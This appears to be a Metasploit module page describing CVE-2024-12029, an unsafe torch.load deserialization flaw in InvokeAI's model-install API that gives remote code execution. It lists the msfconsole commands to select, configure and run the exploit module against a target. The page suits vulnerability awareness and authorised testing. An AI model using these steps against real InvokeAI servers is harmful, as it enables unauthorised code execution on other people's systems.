InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization. The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation. This functionality allows attackers to embed malicious code in model files that execute upon loading.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/invokeai_rce_cve_2024_12029
msf exploit(invokeai_rce_cve_2024_12029) > show targets
...targets...
msf exploit(invokeai_rce_cve_2024_12029) > set TARGET < target-id >
msf exploit(invokeai_rce_cve_2024_12029) > show options
...show and set options...
msf exploit(invokeai_rce_cve_2024_12029) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
